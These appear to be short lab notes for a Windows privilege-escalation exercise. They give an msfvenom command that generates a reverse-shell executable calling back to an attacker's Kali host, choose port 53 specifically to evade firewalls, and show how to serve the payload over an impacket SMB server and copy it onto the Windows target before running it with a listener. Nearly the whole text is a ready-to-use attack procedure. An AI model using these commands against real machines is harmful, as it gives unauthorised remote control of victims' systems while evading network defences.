Reverse Shell

Generate Reverse Shell Executable (on Kali)

msfvenom -p windows/x64/shell_reverse_tcp LHOST=<KALI_IP> LPORT=53 -f exe -o reverse.exe

We use port-53 to try hidden from firewall and in more devices this port is already open

Transfer reverse.exe to Windows via SMB

we choose this port because is already open on the machine

Start SMB Server on Kali:

sudo python3 /usr/share/doc/python3-impacket/examples/smbserver.py kali .

On Windows (CMD), copy the file:

copy \\10.21.218.60\kali\reverse.exe C:\PrivEsc\reverse.exe

then open listener and run shell on windows

Important Notes:

• Do not delete reverse.exe – it will be reused in other tasks.

• Ensure no firewall blocks the connection.

• Use a commonly open port (like 53, 443, etc.) for better reliability.
